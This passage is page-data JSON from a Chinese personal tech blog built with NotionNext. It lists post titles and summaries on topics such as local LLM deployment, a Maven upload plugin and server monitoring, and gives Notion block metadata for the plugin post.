Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection&id=3c6ddc29-47df-43f6-a375-de1c3a9cf466&t=3c6ddc29-47df-43f6-a375-de1c3a9cf466&width=800"},"allNavPages":[{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","title":"地瓜RDK X5上手ollama大模型测试","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","category":null,"tags":null,"summary":null,"slug":"article/241206-rdk","pageIcon":"🗒️","lastEditedDate":"2024-12-06T09:25:20.578Z"},{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","title":"多模态视频大模型Aria在Docker部署","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","category":"技术分享","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","slug":"article/241205-aria","pageIcon":"🗒️","lastEditedDate":"2024-12-05T07:43:49.973Z"},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","title":"开发Maven插件:实现打包后上传tos云服务","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","category":"技术分享","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","slug":"article/241110-tos-plugin","pageIcon":"🗒️","lastEditedDate":"2024-11-10T09:10:56.856Z"},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","category":"技术分享","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。","slug":"article/240810-minicpm2.6","pageIcon":"🗒️","lastEditedDate":"2024-12-05T02:07:11.171Z"},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","title":"LAVIS在Mac,M1PRO芯片下的安装实战","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","category":"技术分享","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","slug":"article/240806-lavis","pageIcon":"🗒️","lastEditedDate":"2024-08-06T07:08:06.450Z"},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","title":"Iphone Mirroring圆了我AI打DNF手游的梦","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","category":"技术分享","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","slug":"article/240725-ai","pageIcon":"🗒️","lastEditedDate":"2024-07-25T15:39:43.435Z"},{"id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","title":"天池大赛Higress插件官方demo详细部署+调试","pageCoverThumbnail":"https://source.unsplash.com/random?t=023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","category":"技术分享","tags":["推荐","go","折腾"],"summary":"使用Higress AI网关优化AI调用成本。就是基于向量召回相似问题的缓存,降低LLM API调用成本。就是开发一个网关插件做QA缓存嘛。前文已经成功复现了hello-world插件,这次结合官方提供的AI-Cache插件自己动手改改,再写点注释放到天池大赛去跑跑分,环境搭建起来确实有很多要注意的地方,所以记录下来。","slug":"article/240626-demo","pageIcon":"🗒️","lastEditedDate":"2024-06-28T08:12:44.310Z"},{"id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","title":"Java程序员学习Go开发Higress的WASM插件","pageCoverThumbnail":"https://source.unsplash.com/random?t=ac8b0aec-6e91-49e0-b6c0-806e97729436","category":"技术分享","tags":["推荐","工具","折腾","docker","go"],"summary":"多方寻求解决无果,结论是tinygo@0.32+go@1.19无法在macos arm架构下打包。升级go@1.21再次打包提示unsafe.SliceData requires go1.20 or later。后放弃macos+arm,采用ubuntu+amd64打包,ubuntu打包也必须使用tinygo@0.28.1。0.32.0在ubuntu仍然提示unsupported GOOS/GOARCH pair wasip1/wasm","slug":"article/240625-higress","pageIcon":"🗒️","lastEditedDate":"2024-06-26T04:54:09.169Z"},{"id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","title":"万里长征-04-脉脉","pageCoverThumbnail":"","category":"万里长征","tags":["面试"],"summary":"脉脉面试题","slug":"article/240525-LM-04","pageIcon":"🗒️","lastEditedDate":"2024-06-26T04:59:08.858Z"},{"id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","title":"万里长征-03-搜狐","pageCoverThumbnail":"","category":"万里长征","tags":["面试"],"summary":"搜狐面试题","slug":"article/240429-LM-fox","pageIcon":"🗒️","lastEditedDate":"2024-05-25T02:20:00.057Z"},{"id":"146219e7-c178-4485-b223-22f4b977333c","title":"Prometheus+Grafana多方位监控","pageCoverThumbnail":"https://source.unsplash.com/random?t=146219e7-c178-4485-b223-22f4b977333c","category":"技术分享","tags":["推荐","运维"],"summary":"包含linux主机监控+nginx监控+es监控+rabbitMQ监控+redis监控+Java程序监控","slug":"article/240429-prometheus","pageIcon":"🗒️","lastEditedDate":"2024-04-29T03:07:56.545Z"},{"id":"71879fde-4992-4276-9767-ac5bd71e4058","title":"Nginx配置备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=71879fde-4992-4276-9767-ac5bd71e4058","category":"技术分享","tags":["运维","工具"],"summary":"nginx密码访问,prometheus,安全限制等","slug":"article/240425-nginx","pageIcon":"🗒️","lastEditedDate":"2024-04-24T16:37:04.342Z"},{"id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","title":"万里长征-02-跟谁学","pageCoverThumbnail":"https://source.unsplash.com/random?t=9a78ba09-76ce-4344-bad5-f6d60dc0680e","category":"万里长征","tags":["面试","文字"],"summary":"跟谁学面试题","slug":"article/240408-LM-02","pageIcon":"🗒️","lastEditedDate":"2024-04-08T17:08:09.011Z"},{"id":"63830328-e0f0-477a-b327-bc4ab921f89c","title":"万里长征-01-贝壳","pageCoverThumbnail":"https://source.unsplash.com/random?t=63830328-e0f0-477a-b327-bc4ab921f89c","category":"万里长征","tags":["面试"],"summary":"贝壳面试题","slug":"article/240405-LM-01","pageIcon":"🗒️","lastEditedDate":"2024-04-08T06:03:22.365Z"},{"id":"4d955058-b605-46cf-b242-1535b732af30","title":"万里长征","pageCoverThumbnail":"","category":"万里长征","tags":["面试","推荐"],"summary":"常见面试题汇总","slug":"article/240405-LM","pageIcon":"🗒️","lastEditedDate":"2024-04-07T09:23:11.250Z"},{"id":"1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","title":"Java程序CPU异常监控bash脚本","pageCoverThumbnail":"https://source.unsplash.com/random?t=1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","category":"技术分享","tags":["运维","linux","脚本","工具"],"summary":"极其简单的监控例子","slug":"article/240405-cpu","pageIcon":"🗒️","lastEditedDate":"2024-04-05T12:17:00.259Z"},{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本&重启备份检查&配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"将进酒","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf&width=800&fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🗒️","lastEditedDate":"2024-04-06T03:31:44.998Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":15},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":3},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":8},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":2},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":9},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1},{"id":"4db60a02-14cd-40e9-bf53-0f4c30547a4b","name":"运维","color":"gray","count":3},{"id":"bda76598-5cfc-492c-83ec-f17afb09b0c7","name":"linux","color":"orange","count":1},{"id":"c52cafb9-814a-4408-b23f-d195d9fb314a","name":"脚本","color":"orange","count":1},{"id":"531ca54d-1302-4bcf-83cc-b389e9d9a35e","name":"面试","color":"yellow","count":5},{"id":"f49c0c1e-65c1-461c-b9c3-81f6e8601540","name":"go","color":"gray","count":2}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":16},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1},{"id":"350fdef0-67f5-4e99-a661-24fd57c306be","name":"万里长征","color":"green","count":5}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"2021-3-13","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"2023-3-23","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":24,"latestPosts":[{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","date":{"start_date":"2024-12-06","date_format":"relative"},"type":"Post","slug":"article/241206-rdk","title":"地瓜RDK X5上手ollama大模型测试","status":"Published","category":"","publishDate":1733443200000,"publishDay":"2024-12-6","lastEditedDate":"2024-12-06T09:25:20.578Z","lastEditedDay":"2024-12-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","tagItems":[],"password":""},{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","date":{"start_date":"2024-12-05","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241205-aria","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","title":"多模态视频大模型Aria在Docker部署","status":"Published","publishDate":1733356800000,"publishDay":"2024-12-5","lastEditedDate":"2024-12-05T07:43:49.973Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","date":{"start_date":"2024-08-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240810-minicpm2.6","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","status":"Published","publishDate":1723248000000,"publishDay":"2024-8-10","lastEditedDate":"2024-12-05T02:07:11.171Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","tagItems":[{"name":"折腾","color":"purple"}],"password":""},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","date":{"start_date":"2024-11-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241110-tos-plugin","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","title":"开发Maven插件:实现打包后上传tos云服务","status":"Published","publishDate":1731196800000,"publishDay":"2024-11-10","lastEditedDate":"2024-11-10T09:10:56.856Z","lastEditedDay":"2024-11-10","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","tagItems":[{"name":"工具","color":"pink"},{"name":"折腾","color":"purple"}],"password":""},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","date":{"start_date":"2024-08-06","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240806-lavis","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","title":"LAVIS在Mac,M1PRO芯片下的安装实战","status":"Published","publishDate":1722902400000,"publishDay":"2024-8-6","lastEditedDate":"2024-08-06T07:08:06.450Z","lastEditedDay":"2024-8-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","date":{"start_date":"2024-07-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240725-ai","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","title":"Iphone Mirroring圆了我AI打DNF手游的梦","status":"Published","publishDate":1721865600000,"publishDay":"2024-7-25","lastEditedDate":"2024-07-25T15:39:43.435Z","lastEditedDay":"2024-7-25","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""}],"post":{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","date":{"start_date":"2024-11-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241110-tos-plugin","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","title":"开发Maven插件:实现打包后上传tos云服务","status":"Published","publishDate":1731196800000,"publishDay":"2024-11-10","lastEditedDate":"2024-11-10T09:10:56.856Z","lastEditedDay":"2024-11-10","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","tagItems":[{"name":"工具","color":"pink"},{"name":"折腾","color":"purple"}],"password":"","blockMap":{"block":{"b7f50367-a6df-4492-a459-4baef5b1e4c3":{"value":{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","version":875,"type":"page","content":["50710533-d374-4429-80e2-7edff5df56a5","d701ea08-53b0-4d29-b2b4-ca7c3bc8ff16","0e0afcaa-99c1-49fd-a0b8-2d1147f9f562","d6e79887-8ca1-47a2-aebb-2b8eb05d3388","4a162091-7b08-4895-b443-3f849a58b4cd","122f5010-17f2-80d4-8f1d-c78728d3000e","122f5010-17f2-80cc-9fa7-ee7911b52bc6","122f5010-17f2-80b9-bac9-c7d23ec1bf13","8b870674-284a-498b-8aec-1d0d6837238a","13af5010-17f2-801d-a069-d5807f3ed9d7","13af5010-17f2-80d8-b9b2-db0138f64f31","13af5010-17f2-8079-a27a-c0439bec7ae4","13af5010-17f2-8020-a4e7-eb716b12570c","13af5010-17f2-8032-bd0b-cbe41eb14e1a","13af5010-17f2-8054-8de4-f680f21295df","13af5010-17f2-8036-a31c-f792d437effd","13af5010-17f2-8034-8d95-d6df19164d5a","13af5010-17f2-8056-9bf6-c1ad3db80e66","13af5010-17f2-801d-841e-da7129135e25","13af5010-17f2-803a-b6ad-d66c29d67436","13af5010-17f2-809d-b86a-cc2d83361453","d0a644a4-5ca8-40c2-92a7-1c4150d7d4f4","634cdefc-0b25-4a96-aee9-ed1be9dff899","13af5010-17f2-8065-9b7f-d02927ffe135","13af5010-17f2-8000-a37c-d2d5c53acd4d","db2d1b2f-17ae-487a-8900-65a82b1f74fc","e55dd58e-9515-4e20-bcc3-e225fecd9e9b","69ed510c-af04-4809-80e3-a7ebf346642a"],"format":{"page_font":"mono","page_icon":"🗒️","page_cover":"https://source.unsplash.com/random","block_locked":false,"block_locked_by":"e3bce58f-88e9-475b-8d52-370cf8e95e16","copied_from_pointer":{"id":"77f4d759-8660-4888-8d35-4214be459ba1","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"page_cover_position":0.5},"created_time":1723230044537,"last_edited_time":1731229856856,"parent_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","parent_table":"collection","alive":true,"copied_from":"77f4d759-8660-4888-8d35-4214be459ba1","created_by_table":"notion_user","created_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","last_edited_by_table":"notion_user","last_edited_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"87ff73a8-1273-4f5f-96c1-cd1becb07207":{"value":{"id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","type":"collection_view_page","content":["50fa88a0-6936-488c-8abc-b558b6a7b0d6","e027b6fc-d75a-43a9-92b1-d5872e5b0780","1fc93bf5-4631-4f85-90f5-362d6a9f69d5","4a3f60f2-b147-4303-b805-e3c775b287a5","c456b9e9-f33f-4c0f-a198-5e90d708c5e4","95d5d8be-c6d5-44e4-a06c-bbb8b5532918"],"view_ids":["8e40545c-4d1c-4299-8605-c04d7ab6872f","818d9fe2-a27d-40ec-b827-614939109ca4","ad494b39-a38c-415e-9221-325f0f9be280","58c6fb90-5030-4627-8bad-38b57c3253cd"],"collection_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","format":{"block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","collection_pointer":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","table":"collection","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"copied_from_pointer":{"id":"19c33d8c-a320-4635-ab97-ddf00a96c478","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"page_cover_position":0.6},"permissions":[{"role":"editor","type":"user_permission","user_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16"},{"role":"comment_only","type":"public_permission","added_timestamp":1705594424869,"allow_duplicate":false,"allow_search_engine_indexing":true}],"created_time":1705594337173,"last_edited_time":1733470638099,"parent_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175","parent_table":"space","alive":true,"copied_from":"19c33d8c-a320-4635-ab97-ddf00a96c478"}},"50710533-d374-4429-80e2-7edff5df56a5":{"value":{"id":"50710533-d374-4429-80e2-7edff5df56a5","type":"text","format":{"copied_from_pointer":{"id":"f9121aa2-51c9-487a-83de-4601d5048f24","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1723230049813,"last_edited_time":1723230049813,"parent_id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","parent_table":"block","alive":true,"copied_from":"f9121aa2-51c9-487a-83de-4601d5048f24"}},"d701ea08-53b0-4d29-b2b4-ca7c3bc8ff16":{"value":{"id":"d701ea08-53b0-4d29-b2b4-ca7c3bc8ff16","type":"table_of_contents","format":{"block_color":"gray","copied_from_pointer":{"id":"be61f37e-3882-4318-ad2b-2c61e18b529f","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1723230049813,"last_edited_time":1723230049813,"parent_id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","parent_table":"block","alive":true,"copied_from":"be61f37e-3882-4318